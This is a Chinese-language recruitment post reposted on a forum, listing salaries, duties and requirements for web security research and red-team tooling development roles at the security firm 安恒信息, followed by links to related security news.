安 全 招 聘 — — — — — — — — 公 司 ： 安 恒 信 息 岗 位 ： W e b 安 全   安 全 研 究 员 部 门 ： 战 略 支 援 部 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 1 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 、 广 州 、 成 都 、 上 海 、 北 京 工 作 环 境 ： 一 座 大 厦 ， 健 身 场 所 ， 医 师 ， 帅 哥 ， 美 女 ， 高 级 食 堂 … 【 岗 位 职 责 】 1 . 定 期 面 向 部 门 、 全 公 司 技 术 分 享 ; 2 . 前 沿 攻 防 技 术 研 究 、 跟 踪 国 内 外 安 全 领 域 的 安 全 动 态 、 漏 洞 披 露 并 落 地 沉 淀 ； 3 . 负 责 完 成 部 门 渗 透 测 试 、 红 蓝 对 抗 业 务 ; 4 . 负 责 自 动 化 平 台 建 设 5 . 负 责 针 对 常 见 W A F 产 品 规 则 进 行 测 试 并 落 地 b y p a s s 方 案 【 岗 位 要 求 】 1 . 至 少 1 年 安 全 领 域 工 作 经 验 ； 2 . 熟 悉 H T T P 协 议 相 关 技 术 3 . 拥 有 大 型 产 品 、 C M S 、 厂 商 漏 洞 挖 掘 案 例 ； 4 . 熟 练 掌 握 p h p 、 j a v a 、 a s p . n e t 代 码 审 计 基 础 （ 一 种 或 多 种 ） 5 . 精 通 W e b   F u z z 模 糊 测 试 漏 洞 挖 掘 技 术 6 . 精 通 O W A S P   T O P   1 0 安 全 漏 洞 原 理 并 熟 悉 漏 洞 利 用 方 法 7 . 有 过 独 立 分 析 漏 洞 的 经 验 ， 熟 悉 各 种 W e b 调 试 技 巧 8 . 熟 悉 常 见 编 程 语 言 中 的 至 少 一 种 （ A s p . n e t 、 P y t h o n 、 p h p 、 j a v a ） 【 加 分 项 】 1 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 ； 2 . 曾 参 加 过 技 术 沙 龙 担 任 嘉 宾 进 行 技 术 分 享 ； 3 . 具 有 C I S S P 、 C I S A 、 C S S L P 、 I S O 2 7 0 0 1 、 I T I L 、 P M P 、 C O B I T 、 S e c u r i t y + 、 C I S P 、 O S C P 等 安 全 相 关 资 质 者 ； 4 . 具 有 大 型 S R C 漏 洞 提 交 经 验 、 获 得 年 度 表 彰 、 大 型 C T F 夺 得 名 次 者 ； 5 . 开 发 过 安 全 相 关 的 开 源 项 目 ； 6 . 具 备 良 好 的 人 际 沟 通 、 协 调 能 力 、 分 析 和 解 决 问 题 的 能 力 者 优 先 ； 7 . 个 人 技 术 博 客 ； 8 . 在 优 质 社 区 投 稿 过 文 章 ； 岗 位 ： 安 全 红 队 武 器 自 动 化 工 程 师 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 【 岗 位 职 责 】 1 . 负 责 红 蓝 对 抗 中 的 武 器 化 落 地 与 研 究 ； 2 . 平 台 化 建 设 ； 3 . 安 全 研 究 落 地 。 【 岗 位 要 求 】 1 . 熟 练 使 用 P y t h o n 、 j a v a 、 c / c + + 等 至 少 一 门 语 言 作 为 主 要 开 发 语 言 ； 2 . 熟 练 使 用 D j a n g o 、 f l a s k   等 常 用 w e b 开 发 框 架 、 以 及 熟 练 使 用 m y s q l 、 m o n g o D B 、 r e d i s 等 数 据 存 储 方 案 ； 3 : 熟 悉 域 安 全 以 及 内 网 横 向 渗 透 、 常 见 w e b 等 漏 洞 原 理 ； 4 . 对 安 全 技 术 有 浓 厚 的 兴 趣 及 热 情 ， 有 主 观 研 究 和 学 习 的 动 力 ； 5 . 具 备 正 向 价 值 观 、 良 好 的 团 队 协 作 能 力 和 较 强 的 问 题 解 决 能 力 ， 善 于 沟 通 、 乐 于 分 享 。 【 加 分 项 】 1 . 有 高 并 发 t c p 服 务 、 分 布 式 等 相 关 经 验 者 优 先 ； 2 . 在 g i t h u b 上 有 开 源 安 全 产 品 优 先 ； 3 : 有 过 安 全 开 发 经 验 、 独 自 分 析 过 相 关 开 源 安 全 工 具 、 以 及 参 与 开 发 过 相 关 后 渗 透 框 架 等 优 先 ； 4 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ；
4 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ； 5 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 岗 位 ： 红 队 武 器 化 G o l a n g 开 发 工 程 师 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 【 岗 位 职 责 】 1 . 负 责 红 蓝 对 抗 中 的 武 器 化 落 地 与 研 究 ； 2 . 平 台 化 建 设 ； 3 . 安 全 研 究 落 地 。 【 岗 位 要 求 】 1 . 掌 握 C / C + + / J a v a / G o / P y t h o n / J a v a S c r i p t 等 至 少 一 门 语 言 作 为 主 要 开 发 语 言 ； 2 . 熟 练 使 用 G i n 、 B e e g o 、 E c h o 等 常 用 w e b 开 发 框 架 、 熟 悉 M y S Q L 、 R e d i s 、 M o n g o D B 等 主 流 数 据 库 结 构 的 设 计 , 有 独 立 部 署 调 优 经 验 ； 3 . 了 解 d o c k e r ， 能 进 行 简 单 的 项 目 部 署 ； 3 . 熟 悉 常 见 w e b 漏 洞 原 理 ， 并 能 写 出 对 应 的 利 用 工 具 ； 4 . 熟 悉 T C P / I P 协 议 的 基 本 运 作 原 理 ； 5 . 对 安 全 技 术 与 开 发 技 术 有 浓 厚 的 兴 趣 及 热 情 ， 有 主 观 研 究 和 学 习 的 动 力 ， 具 备 正 向 价 值 观 、 良 好 的 团 队 协 作 能 力 和 较 强 的 问 题 解 决 能 力 ， 善 于 沟 通 、 乐 于 分 享 。 【 加 分 项 】 1 . 有 高 并 发 t c p 服 务 、 分 布 式 、 消 息 队 列 等 相 关 经 验 者 优 先 ； 2 . 在 g i t h u b 上 有 开 源 安 全 产 品 优 先 ； 3 : 有 过 安 全 开 发 经 验 、 独 自 分 析 过 相 关 开 源 安 全 工 具 、 以 及 参 与 开 发 过 相 关 后 渗 透 框 架 等 优 先 ； 4 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ； 5 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 利 用 1 0 0 万 美 元 诱 惑 特 斯 拉 员 工 植 入 恶 意 软 件   俄 罗 斯 黑 客 被 起 诉 当 心 ！ V i s a 发 现 一 款 新 型 信 用 卡 窃 取 器   能 够 规 避 检 测 并 窃 取 用 户 卡 内 数 据 超 7 6 0 万 密 歇 根 州 选 民 记 录 被 俄 罗 斯 黑 客 泄 露 ？ 美 政 府 辟 谣 ： 假 消 息 ！ W o r d P r e s s   F i l e   M a n a g e r 插 件 高 危 漏 洞 风 险 提 示 雷 神 众 测 漏 洞 周 报   2 0 2 0 . 0 8 . 3 1 - 2 0 2 0 . 0 9 . 0 6 - 4 ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理